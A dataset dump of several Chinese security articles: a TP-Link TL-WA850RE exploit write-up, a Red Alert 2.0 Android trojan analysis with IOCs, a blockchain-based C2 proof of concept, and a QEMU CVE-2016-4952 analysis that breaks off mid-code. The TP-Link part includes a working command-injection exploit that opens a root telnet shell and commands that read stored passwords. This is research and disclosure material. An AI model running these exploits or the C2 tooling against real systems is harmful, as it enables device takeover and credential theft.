text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# TP-Link TL-WA850RE 无线中继设备漏洞挖掘
##### 译文声明
本文是翻译文章，文章原作者 Advisability，文章来源：medium.com
原文地址：<https://medium.com/advisability/the-in-security-of-the-tp-link-technologies-tl-wa850re-wi-fi-range-extender-26db87a7a0cc>
译文仅供参考，具体内容表达以及含义原文为准。
#
## 前言
本文介绍了TP-Link的TL-WA850RE无线扩展器上的多个漏洞和一个允许在TL-WA850RE上执行远程命令0day漏洞的PoC。
## 介绍
TP-Link的TL-WA850RE
无线扩展器是一种流行的家庭网络设备。它可以通过充当扩展器或接入点来工作。当作为扩展器时，设备需要为要扩展的无线网络设置密码，以及设置设备的管理密码。设备和浏览器之间的整个通信使用的HTTP协议是不安全的，甚至连自签名证书都没有使用。
[](https://p4.ssl.qhimg.com/t016683099ad8cd2988.png "不安全的HTTP通信")
## 设备
TL-WA850RE无线扩展器允许[固件更新](https://www.tp-link.com/us/download/TL-WA850RE.html#Firmware)。可以很容易地使用binwald提取固件，找到一个嵌入式Linux busybox。
binwalk -e 850rev5-up-ver1-0-0-P1[20180228-rel38383].bin
[](https://p3.ssl.qhimg.com/t0194c7cdce4d8d7fce.png "/etc/")
[](https://p1.ssl.qhimg.com/t01182d6c6b203e585f.png)
有调查说明网络上一个经过hash的密码很容易被破解为“sohoadmin”。但是，远程SSH登录是禁用的。
[](https://p0.ssl.qhimg.com/t012378ca489687f0f8.png)
进一步挖掘，我们在/etc/rc.d/rcS发现一个HTTP daemon(Httpd) 。
[](https://p0.ssl.qhimg.com/t015133890fd5118745.png)
rc.init中启动的其他进程
[](https://p3.ssl.qhimg.com/t014d7f43de09ce5648.png)
通过快速分析，我们发现目标二进制文件是httpd。
## 反编译httpd
[](https://p3.ssl.qhimg.com/t01fd95f3639990b66e.png)
httpd是一个MIPS 32二进制文件，可以使用IDA对其进行反编译，了解它的内部工作原理。
HTTP
daemon是一个复杂的进程，因此我们需要一个策略来快速了解它是如何工作的。通过将数据发布和读取到.json端点，我们可以找到初始化设备端点的函数，从而发现Web应用程序的工作原理。
[](https://p0.ssl.qhimg.com/t0185a63c1b9235cdff.png)
调用httpRpmConfAddAndRegisterFile函数将每个端点(参见下面/fs/data/reboot.json)与一个函数(sub_424470)关联起来
[](https://p0.ssl.qhimg.com/t01ac2f7ee17b2e6c65.png)
让我们继续分析二进制文件上的公共漏洞，并尝试查找0day。
## DoS-未经身份验证的远程重启
根据Wadeek的报告，可以不受任何限制或身份验证重启设备。
### PoC
curl --silent 'http://[IP]/data/reboot.json' -H 'Host: [IP]' -H 'Accept: application/json, text/javascript, */*;' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: COOKIE=' -H 'Connection: keep-alive' --data 'operation=write'
从上一节我们知道，SUB_424470是在端点 data/reboot.json上执行的。通过检查函数，我们证实了确实没有执行身份授权或验证。
[](https://p2.ssl.qhimg.com/t01dd7aba1b13a9777b.png)
需要身份验证的功能是通过调用函数wmAuthIsClientAuthencated实现的，如下所示
[](https://p3.ssl.qhimg.com/t01dd2d5d9215b64f66.png)
## 远不止这么简单
一个众所周知的导致缓冲区溢出的不安全的编码反模式是在没有任何长度检查的情况下将用户控制的输入传给strcpy。有[报告](https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/)介绍了来自tp-link开发人员的这种反模式。
几分钟后，第一个这样的漏洞出现了。
[](https://p5.ssl.qhimg.com/t0138d9473f3ff5ab39.png)
在 /data/syslog.filter.json中，“type”参数从httpGetEnv环境中读取，并在没有长度检查的情况下传入strcpy。
如果我们在进行身份验证时溢出类型参数，设备将崩溃。
POST /data/syslog.filter.json HTTP/1.1 Host: 192.168.1.10 User-Agent: Mozilla Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.10/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 2742 Cookie: COOKIE=1501a8c000017506 Connection: close
operation=write&type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&level=ALL
在研究如何进一步利用此漏洞来获得RCE之前，我们在/data/wps.setup.json中找到了另一个同类漏洞。
[](https://p0.ssl.qhimg.com/t01b5c2c91ec8e365f1.png)
不过，这次我们非常幸运地发现，用户控制的输入被传输到在设备上执行的命令中。
我们有一个命令注入0day漏洞。考虑到与设备的所有通信都以明文传输很可能被截获，所以利用这个漏洞进行攻击并不难，可能会重新启动设备直到用户登录后验证配置。
在网上的[快速搜索](https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2010/february/busybox-command-injection/)显示，可以将`telnetd -l/bin/sh`
注入到busybox中，获得对设备的完全控制。
[](https://p5.ssl.qhimg.com/t01c1f298e2f3790235.png)
## 获取所有密码
在设备中获得根shell之后，我们可以进一步获得明文形式的所有密码。
* cat /config/account.config将显示设备的管理密码md5
* cat/config/wifi.config将以明文显示设备的网络密码以及扩展网络密码、白名单、黑名单、Mac等
## PoC
#!/usr/bin/env python
# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution
# Date: 19/06/2018
# Exploit Author: yoresongo - Advisability S.A.S Colombia (www.advisability.co)
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html
# Tested on: Firmware Version TL-WA850RE_V5_180228
# Contact: yoresongo [at] advisability.co
import argparse
import requests
import hashlib
import telnetlib
parser = argparse.ArgumentParser(
description="Exploits TP-LINK WA850RE Command injection"
)
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
parser.add_argument(
"-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505"
)
args = parser.parse_args()
HOST = args.host
PASSWORD = args.password
COOKIE = args.cookie
cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}
headers = {
"Origin": "http://%s/" % HOST,
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Referer": "http://%s/" % HOST,
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
"DNT": "1",
}
password = hashlib.md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()
data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)]
# Payload
data_inject = [
("operation", "write"),
("option", "connect"),
("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
]
with requests.Session() as s:
response = s.post(
"http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
)
print(response.text)
# An authorised request.
r = s.get("http://%s" % HOST, headers=headers, cookies=cookies)
# print (r.text)
r = s.post(
"http://%s/data/wps.setup.json" % HOST,
headers=headers,
cookies=cookies,
data=data_inject,
)
tn = telnetlib.Telnet(HOST)
tn.interact()
利用链接：
* <https://www.exploit-db.com/exploits/44912>
* <https://0day.today/exploit/description/30607>
审核人：yiwang 编辑：少爷 | 社区文章 |
# Red Alert 2.0 伪装成 VPN 程序进行传播
##### 译文声明
本文是翻译文章，文章原作者 Jagadeesh Chandraiah，文章来源：news.sophos.com
原文地址：<https://news.sophos.com/en-us/2018/07/23/red-alert-2-0-android-trojan-targets-security-seekers/>
译文仅供参考，具体内容表达以及含义原文为准。
Sophos实验室发现了一次恶意的软件分发活动，该活动的主要行为是：将恶意程序Red
Alert2.0（红色警报）木马伪装成为知名应用，通过网页的广告进行传播分发以窃取银行凭证。
分发Red
Alert系列恶意软件的主要途径是：知名的社交媒体、媒体播放器、系统更新补丁、VPN客户端，恶意软件通过伪装成这些正常应用以引诱用户下载安装并提升恶意程序的权限。由于这次攻击的恶意样本包含了VPN等假装表面上增强了安全性的软件，作者推测这次攻击的对象更偏向于一些具备安全知识的人。
## 伪装
挂载在恶意网页上的伪造的软件（左侧）与Google Play商店中的合法VPN应用程序（右侧）十分相似。
左侧显示的网页被托管在free-vpn [.]download中，而这个域名有点类似于apt攻击中所使用的域名。
通过对此域名进行跟踪，可以发现它还有一些同样用于同一目的的域名，但那些域名均暂时未使用。 （可以在本文末尾找到其他IoC信息）
除了上面的“Free VPN Master Android”之外，我们还观察到Red Alert 2.0特洛伊木马在野外使用了以下名称进行伪装：
Flash Player or Update Flash Player
Android Update or Android Antivirus
Chrome Update or Google Update
Update Google Market
WhatsApp
Viber
OneCoin Wallet
Pornhub
Tactic FlashLight or PROFlashLight
Finanzonline
绝大多数在野的Red Alert 2.0样本伪装成了Android的Adobe Flash播放器，但是其实Adobe多年前就停止支持这个程序了。
该实验室的日志中捕获记录了许多同时运行的Red Alert 2.0广告系列样本，其中许多（但不是全部）样本托管在动态的DNS域上。
## 恶意载荷分析
安装恶意软件后，该软件会请求设备管理员权限。
当用户允许恶意软件获得设备管理员权限后，它会自动锁定屏幕并使密码失效，普通用户无法通过常规方法对其进行卸载。
该应用程序会接收cybercrooks发来的命令并执行。在这些命令中的第一个命令中，攻击者可窃取他要针对的银行信息列表，只要用户启动银行应用程序，这个木马就开始进行工作。
由于这个木马依赖的是覆盖机制，所以它必须知道当前用户手机中的应用程序列表才能开始执行。这样做的目的不仅是为了确定特定应用程序的使用是否允许他们收集另一个凭证，也是为了使每个目标程序都可以对应覆盖到指定程序上，以便其能拦截和窃取用户数据。由于这个确定当前运行程序的行为是覆盖恶意软件是否成功的标志，所以我们将仔细研究它是如何完成的。
为了防止上述情况的发生，Android的工程师会定期发布一些补丁，这些补丁旨在防止应用在未经明确许可的情况下获取当前正在运行的应用列表。因此随着每次Android的更新，恶意软件作者也被迫使用新的技巧来进行攻击。
攻击者首先会使用内置工具箱命令来确定正在运行的应用程序是什么，如果失效则直接调用queryUsageStats函数：
当恶意软件调用queryUsageStats函数时会询问在过去100万毫秒（16分40秒）内运行的应用程序列表。
Red Alert 2.0的数据均存储在Strings.xml文件内，例如C2地址。
上面截图中的com.dsufabunfzs.dowiflubs字符串是指这个特定的恶意软件的内部名称，它是被随机命名的。在对Red Alert
木马进行批量分析后，该实验室发现该类型病毒通常都有这样的一个随机内部名称。
恶意软件中的字符串部分包含用以远控的IP地址，端口和明文储存的域名。
恶意软件使用SQLite数据库命令来存储和调用远程控制的地址：
## 远控指令
恶意软件可以执行各种命令，例如在用户不知情的情况下拦截或发送文本消息、获取受害者通讯录信息、拨打电话、窃取用户短信信息、发送电话网络功能代码（USSD代码）。
## C2和目标银行
由上述信息可知，C2信息保存在恶意程序的资源里。在软件执行期间，恶意程序会与C2进行连接以获取远控指令。
我们观察到的大多数网络流量都是HTTP流。样本中储存的C2地址信息包括IP地址和端口号。到目前为止，我们测试的所有样本的IP地址的端口均为7878 /
tcp。
如果主C2域没有响应，则将从Twitter帐户获取备份的C2域进行连接。 通过对代码的静态分析表明，恶意软件下载了覆盖模板用于针对其所针对的任何银行。
恶意软件还会以HTTP POST形式向其C2服务器发送受感染设备的数据，它使用基础的Dalvik User-Agent字符串来运行它所可运行的设备。
HTTP POST所传输的数据是正在运行恶意软件的设备的信息，这些信息以json格式进行传输。
Red Alert
2.0所针对的银行名单包括NatWest，Barclays，Westpac和Citibank。这个病毒目前十分活跃且针对安卓用户，我们预计这个威胁组织将采用更多样化的社会工程方法来进行攻击。到目前为止，抵抗这一病毒最好的办法就是不使用第三方平台下载软件，而是使用合法的应用商店下载VPN。
Sophos实验室检测到该木马家族的所有样本为Andr / Banker-GWC和Andr /
Spybot-A。在野样本来源均为第三方下载平台，在正规应用商店中并未发现此病毒。
## IOC
C2：
103.239.30.126:7878
146.185.241.29:7878
146.185.241.42:7878
185.126.200.3:7878
185.126.200.12:7878
185.126.200.15:7878
185.126.200.18:7878
185.165.28.15:7878
185.243.243.241:7878
185.243.243.244:7878
185.243.243.245:7878
167.99.176.61（恶意软件源的web主机地址）
域名：
free-androidvpn.date
free-androidvpn.download
free-androidvpn.online
free-vpn.date
free-vpn.download
free-vpn.online
Hashes：
22fcfce096392f085218c3a78dd0fa4be9e67ed725bce42b965a27725f671cf
55292a4dde8727faad1c40c914cf1be9dfdcf4e67b515aa593bcd8d86e824372
be92a751e5abbcd24151b509dbb4feb98ea46f367a99d6f86ed4a7c162461e31
5c4d666cef84abc2a1ffd3b1060ef28fa3c6c3bb4fad1fa26db99350b41bea4c
06081ab7faa729e33b9397a0e47548e75cbec3d43c50e6368e81d737552150a5
753999cb19a4346042f973e30cf1158c44f2335ab65859d3bfa16bca4098e2ef | 社区文章 |
# 区块链攻击利用技术拓展
|
##### 译文声明
本文是翻译文章，文章原作者 Adam Chester，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2019/01/activebreach-powered-by-the-blockchain/>
译文仅供参考，具体内容表达以及含义原文为准。
> 译者前言：本篇文章描述了一种利用区块链来用作C2的新型技术
无论你是做哪一方面的, 都不难否定区块链对我们日常生活的影响有多大。作为数字货币革命的中坚力量, 区块链已经变得越来越强大,
已经被认为是互联网未来革命的研究方向。在攻击拓展时, 我们一直在考虑合适的时机转移到区块链, 我们自豪地宣布, 我们正朝着实现这一目标的方向前进
## OK. . . 就这样，那么什么是区块链呢？
很抱歉我不会将这部分内容放到这里，我不知道区块链什么时候成为了营销流行语，但有很多东西声称是“Powered by The Blockchain”，
我想深入区块链以了解攻击者是否有其他的攻击方式。
在这篇文章中，我们将探索以太坊智能合约，并探索在区块链上实施C2的潜在方式。
但在我们开始之前，我们需要了解以太坊的一些基础知识，以帮助你能够理解文章的其余部分。
## 以太坊智能合约
你可能在以太币中听说过以太坊，这种货币类似于比特币。你也可能遇到过Blockchain的概念，它作为许多加密货币的分布式账单。然而，我发现使用以太坊非常酷的一个领域是智能合约的概念。对智能合约的过度简化是将其视为旨在实现资金转移处理自动化的应用程序，该资金转移时不会被篡改或破坏。例如，想象一下在某个特定日期之间在多方之间分配储蓄的过程。一种传统的方法是让一个信任的人或公司在日期到来时完成这种转移，但这带来了某些明显的风险。如果这个人只是决定但不转移怎么办？或者，如果信任公司在转移日期之前解散了怎么办？这就是智能合约发挥作用的地方，是一个小型不可变程序，只需执行编译代码而无需手动交互。所以根据上面的例子，应用程序将用以太网转账，然后在特定日期将资金转移到一组钱包，除了创建者（或者如果[DAO](https://www.wired.com/2016/06/50-million-hack-just-showed-dao-human/)示例是任何东西都能通过，则是具有安全意识的个人）之外的任何人的合约之外。
要开始与以太坊的智能合约进行交互，我们需要安装一些工具。我们将使用的第一个工具是Mist，可以在这里从Github[下载](https://github.com/ethereum/mist/releases)。
Mist提供了一个图形用户界面，用于开发和部署以太坊区块链的智能合约，还附带了一个IDE，用于调试你的Solidity代码。
如果你更喜欢命令行，可以安装许多有用的工具来帮助你开发和部署智能合约，包括[Geth](https://geth.ethereum.org/)，这是一个在GO中编码的命令行界面，用于与以太坊交互。
安装客户端后，我们需要连接到网络。为了避免在我们的测试过程中弄乱以太坊区块链并为我们节省一些以太币，我们将使用一个测试网络。在这篇文章中，我们将使用Ropsten测试网络，因为在撰写本文时，Rikeby测试网络不可用。
由于我们在测试网络上运营，没有真正的资金将被交换，这意味着我们可以创建一个帐户并通过faucet添加资金。对于Ropsten，我们可以使用<https://faucet.ropsten.be/>。随着钱包的创建和从faucet添加以太币，我们可以开始创建一些将在区块链上执行的代码。我们来看看Solidity。
## Solidity
Solidity是一种面向对象的编程语言，可用于开发以太坊的智能合约。 这种语言相对简单，对于之前在OOL中开发的人来说看起来很熟悉。
我们来看一个简单的例子：
在这里，我们看到Solidity代码，它将在其状态中存储数据变量。 我的意思是，在执行AddData函数并提供参数时，数据变量将被更新并保留在区块链上。
那么这个代码是如何执行的呢？ 这是以太坊虚拟机（EVM）发挥作用的地方。 编译的Solidity代码生成字节码，在创建合约时将其添加到区块链中。
然后在以太坊虚拟机挖掘过程中执行该字节码。 为了说明这是如何工作的，让我们部署一个包含一组简单函数来回显添加的数据合约：
当我们的智能合约被编译并添加到区块链中时，我们可以调用我们的方法（在下面的示例中，我们将使用Mist来调用我们部署的函数）。
让我们添加一个字符串，该字符串将被存储在智能合约中：
为了执行我们的代码（或者更具体地说，要求矿工执行我们的智能合约），我们需要向矿工支付一些小费。
我们想要支付的小费金额可以在执行我们的智能合约的请求期间设定，价格较高可以让我们的执行请求更快被提取，因为这对矿工更有吸引力。
一旦我们的请求发出，我们就可以看到我们提交的数据被添加到区块链中（例子如下）：
我们的数据存储在区块链中，任何帐户都可以调用GetEchoData来返回存储的数据：
## 利用区块链事件
所以现在我们已经了解了如何去部署一个智能合约，我们已经准备好开发一些东西可以让我们使用这个分布式和匿名平台。
没有什么比创建一个简单的C2框架来通过区块链隧道传输请求更好的方法了。
使用上面的Solidity代码，我相信你可以看到存储数据并将存储数据传递到客户端是多么容易，但在我们继续研究下去之前，让我们来看看智能合约提供的另一个很酷的功能—–事件。
Solidity中的事件工作机制就和你想的一样，应用程序订阅事件，然后在事件触发时，存储的数据将被传输给订阅事件的应用程序。
这当然为我们提供了一种发送和接收数据的好方法，而无需处理缓冲和转发的逻辑部分。 让我们看一个Solidity事件如何工作的简单代码示例：
如果我们将此代码部署到区块链，我们需要一种方法来订阅这些事件。在我们的例子中，我们将使用Golang（自加入团队以来，[0x09AL](https://twitter.com/0x09AL)向我们展示了这种语言的强大），但如果你喜欢Python之类的东西，你也有许多其他的Python的API可以使用。
首先，我们需要生成一些代码，将我们的Golang代码与我们的Solidity合约联系起来。
abigen是一个geth下的工具，它在合约创建和生成一些Golang程序块期间提供了合约应用程序二进制接口（ABI）并，允许调用Solidity函数。例如：
abigen –abi example.abi –pkg example –type Example –out ./example.go
这种类似于在调用RPC服务时如何使用IDL生成C ++代码块，在我们的例子中，我们正在调用由以太坊挖掘机上的EVM执行的代码。
一旦我们生成了中间代码，我们就可以使用Golang连接到以太坊的Ropsten网络并接收事件数据。例如，一个简单的客户端看起来像这样：
我不会查看上面的每一行代码，因为Go-Ethereum库有很好的文档记录功能，但有一个值得进一步研究的地方，我们与ropsten.infura.io的连接部分。
使用以太坊客户端时，本地节点设置为与区块链同步。在客户端第一次执行时，可能需要一段时间来验证区块链，这个区块链验证部分不太适合我们当前的研究。
Infura允许我们通过使用JSON-RPC协议与托管的以太坊客户端进行交互，为区块链验证问题提供了一个很好的解决方法。通过这个平台，我们可以完美访问以太坊区块链而无需运行本地节点和产生任何延迟。这种环境对于创建POC是完美的，但是它引入了单点检测，所以在采用Infura之前应该考虑这一点。
回到上面的示例代码，在编译和执行时，我们看到在将数据发送到事件处理程序之前没有任何有意思的事情。使用Mist，我们可以使用公开的方法向我们的事件处理程序添加数据：
一旦我们的事件处理程序被调用，我们将看到我们的应用程序会读取相关的事件数据：
当然，在执行函数调用之后，你会注意到在应用程序响应事件之前有一段延迟（在写入此内容后Ropsten大约需要30-60秒）。这个延迟归因于我们需要在区块链进行交易，并且这是通过区块链实现分布式应用程序的副作用之一。
通过完成我们的小例子，我们可以看到在两个或多个系统之间通过区块链传递数据是多么的简单。在我们继续之前，值得攻击者思考的是利用这种方式实现C2的一个主要优势–匿名。
通常，当蓝队检测到交互协议时，可以识别出口流量的目的地。在红队练习的情况中，这可能是AWS EC2重定向服务器，Azure
CDN实例或DNS服务器，通常会有攻击者为了实现回连而暴露的资产。但当使用智能合约中继流量时，这会让恶意分析变得更加困难，因为分析员可分析的所有内容都是与钱包地址关联的分布式账单的数据。如果没有可怕的OPSEC故障，很难分辨谁可能拥有一个地址，或者从哪里访问到的数据，从而为攻击者提供匿名（或者更确切地说是假名）。
话虽这么说，对防守方来说并不是一件坏事。通过对以太坊短时间的了解后，很明显攻击者必须弥补区块链C2与传统C2模型的一些差异，以避免发现他们的攻击
活动。攻击者必须的考虑因素是任何人都可以检查区块链，所有事件数据都以纯文本形式传输和存储。此外，区块链是不可变的和永久性的，这意味着安全研究者也可以访问数据，这些数据不仅可以揭示一个受损端点的行为情况，还可以揭示在某个攻击时段可能已被感染的其他端点。
然而，有一些缺点可以被解决，例如，在数据被添加到事件处理程序之前加密。虽然这没有消除合约执行记录，但它确实保护了传递的任何数据或发出的命令，使得将攻击活动与被攻击端点相关联的分析工作变得更加困难。
攻击者必须考虑的另一个领域是任何人都有能力检查合约程序并调用其方法。虽然我们无法阻止这种情况发生，但我们可以验证调用我们的Solidity代码的帐户，以确保只有处于我们控制下的账户才能添加事件数据，例如：
在这里，我们可以看到智能合约的一个很酷的特点……它们是不可变的，这意味着一旦它们被创建，它们就无法改变。
因此，在上面的示例中，我们可以看到我们的构造函数（在创建合约时调用）将owner字段设置为添加合约的帐户地址。
设置此字段后，无法更改它，这意味着只有与我们合约下的关联账户才能触发事件…非常酷！
## BlockchainC2
为了探索在以太坊上传递C2流量的可行性，我想创建一个可以在多个连接代理上执行命令的简单POC。在圣诞假期花了一些时间，我制作了BlockchainC2作为展示。
看了这篇文章的人请放弃你的其他想法……这个POC的创建目的只是为了探索区块链如何被攻击者用于C2以及向防御者展示潜在的IOC。它不应被视为具有实际作用的C2框架，不应在实时场景中使用。
BlockchainC2需要一些构成元素才能使用，第一个是钱包。 Myth可用于创建具有所需密钥库格式的钱包。在MacOS上，密钥库通常位于〜/
Library / Ethereum / Keystore中。或者，我们可以使用geth为我们创建所需的格式：
geth account list –keystore / tmp / mykeystore /
执行后，这将生成你的帐户地址：
它需要的密钥格式可以在/ tmp / mykeystore /中找到，并且看起来像这样：
现在我们有了一个帐户，可以创建一个配置文件，用于BlockchainC2，其格式如下：
要开始使用BlockchainC2，必须部署合约。 可以通过使用bc2serverd的-setup选项执行来完成：
./cmd/bc2server --setup --config config.json --pass Passw0rd1
确保将创建的合约地址添加到config.json中，然后你可以使用以下命令执行bc2server：
./cmd/bc2server --config config.json --pass Passw0rd1
这将启动将处理传入代理客户端的命令行界面。 要生成客户端，我们可以使用：
./cmd/bc2agent --config config.json --pass Passw0rd1
启动客户端后，将启动通过区块链建立连接的处理程序。 如上所述，我们知道发送的所有数据对于任何关心这个连接的人都是可见的。
为了避免这种情况，使用以下加密连接：
在这里，我们可以看到RSA公钥的初始交换，该公钥用于加密来自客户端的AES会话密钥。 协商会话密钥后，服务器和客户端之间的数据将被加密。
通过建立加密通道，可以交换命令。 在此POC中，BlockchainC2支持在远程客户端上执行命令并检索执行结果以及检索远程文件的功能。
例如，让我们看看当发送请求之后在MacOS客户端上执行命令时的表现：
要查看在此次交互期间添加到区块链的内容，我们可以使用Etherscan查看：
我们来看看BlockchainC2的实际应用
[](https://asciinema.org/a/t88xZz4W9CFDfTExXZ7N2vdcG)
BlockchainC2可以在这里[下载](https://github.com/xpn/BlockchainC2) | 社区文章 |
# CVE-2016-4952漏洞复现———Qemu拒绝服务漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次漏洞复现是我第一次没有借助已有复现文章和已有的poc复现的漏洞，所以写了这篇文章记录下，如果文章出现什么错误，恳请各位师傅斧正。
## 环境配置
环境搭建参照CVE-2015-5165漏洞复现———QENU信息泄露漏洞那篇文章：[http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/](http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
------QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/)
qemu版本：2.3.0
启动脚本：
qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic -device pvscsi
调试脚本：
gdb --args qemu-system-x86_64 --enable-kvm -m 1G -hda /home/resery/QEMU/Resery.img -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic -device pvscsi
## 漏洞分析
先从CVE描述下手，看一下这个漏洞属于是什么类型的漏洞
QEMU (aka Quick Emulator), when built with VMWARE PVSCSI paravirtual SCSI bus emulation support,
allows local guest OS administrators to cause a denial of service (out-of-bounds array access)
via vectors related to the (1) PVSCSI_CMD_SETUP_RINGS or (2) PVSCSI_CMD_SETUP_MSG_RING SCSI command.
根据描述我们可以知道是由一个越界访问触发的拒绝服务漏洞，并且问题出在了PVSCSI上，之后我们再来看一下qemu官网上面的patch信息，patch信息如下
From: Prasad J Pandit <address@hidden>
Vmware Paravirtual SCSI emulation uses command descriptors to
process SCSI commands. These descriptors come with their ring
buffers. A guest could set the ring buffer size to an arbitrary
value leading to OOB access issue. Add check to avoid it.
Reported-by: Li Qiang <address@hidden>
Signed-off-by: Prasad J Pandit <address@hidden>
--- hw/scsi/vmw_pvscsi.c | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-)
diff --git a/hw/scsi/vmw_pvscsi.c b/hw/scsi/vmw_pvscsi.c
index e690b4e..e1d6d06 100644
--- a/hw/scsi/vmw_pvscsi.c
+++ b/hw/scsi/vmw_pvscsi.c
@@ -153,7 +153,7 @@ pvscsi_log2(uint32_t input)
return log;
}
-static void
+static int
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
int i;
@@ -161,6 +161,10 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m,
PVSCSICmdDescSetupRings *ri)
uint32_t req_ring_size, cmp_ring_size;
m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
+ if ((ri->reqRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)
+ || (ri->cmpRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)) {
+ return -1;
+ }
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE;
cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE;
txr_len_log2 = pvscsi_log2(req_ring_size - 1);
@@ -192,15 +196,20 @@ pvscsi_ring_init_data(PVSCSIRingInfo *m,
PVSCSICmdDescSetupRings *ri)
/* Flush ring state page changes */
smp_wmb();
+
+ return 0;
}
-static void
+static int
pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
{
int i;
uint32_t len_log2;
uint32_t ring_size;
+ if (ri->numPages > PVSCSI_SETUP_MSG_RING_MAX_NUM_PAGES) {
+ return -1;
+ }
ring_size = ri->numPages * PVSCSI_MAX_NUM_MSG_ENTRIES_PER_PAGE;
len_log2 = pvscsi_log2(ring_size - 1);
@@ -220,6 +229,8 @@ pvscsi_ring_init_msg(PVSCSIRingInfo *m,
PVSCSICmdDescSetupMsgRing *ri)
/* Flush ring state page changes */
smp_wmb();
+
+ return 0;
}
static void
@@ -770,7 +781,10 @@ pvscsi_on_cmd_setup_rings(PVSCSIState *s)
trace_pvscsi_on_cmd_arrived("PVSCSI_CMD_SETUP_RINGS");
pvscsi_dbg_dump_tx_rings_config(rc);
- pvscsi_ring_init_data(&s->rings, rc);
+ if (pvscsi_ring_init_data(&s->rings, rc) < 0) {
+ return PVSCSI_COMMAND_PROCESSING_FAILED;
+ }
+
s->rings_info_valid = TRUE;
return PVSCSI_COMMAND_PROCESSING_SUCCEEDED;
}
@@ -850,7 +864,9 @@ pvscsi_on_cmd_setup_msg_ring(PVSCSIState *s)
}
if (s->rings_info_valid) {
- pvscsi_ring_init_msg(&s->rings, rc);
+ if (pvscsi_ring_init_msg(&s->rings, rc) < 0) {
+ return PVSCSI_COMMAND_PROCESSING_FAILED;
+ }
s->msg_ring_info_valid = TRUE;
}
return sizeof(PVSCSICmdDescSetupMsgRing) / sizeof(uint32_t);
--
2.5.5
通过这个patch我们可以发现漏洞出在了两个函数上，一个是`pvscsi_ring_init_data`另一个是`pvscsi_ring_init_msg`。下面我们来具体分析一下这两个函数
### pvscsi_ring_init_data
下面的代码是没有打patch前的代码，我们可以看到20行和24行有一个循环，循环多少次分别是由ri结构体的reqRingNumPages和cmpRingNumPages来决定的然而这两个值是可以被我们控制的，如果说我们给它赋一个很大的值的话那么在循环的时候就会产生越界的问题
static void
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
int i;
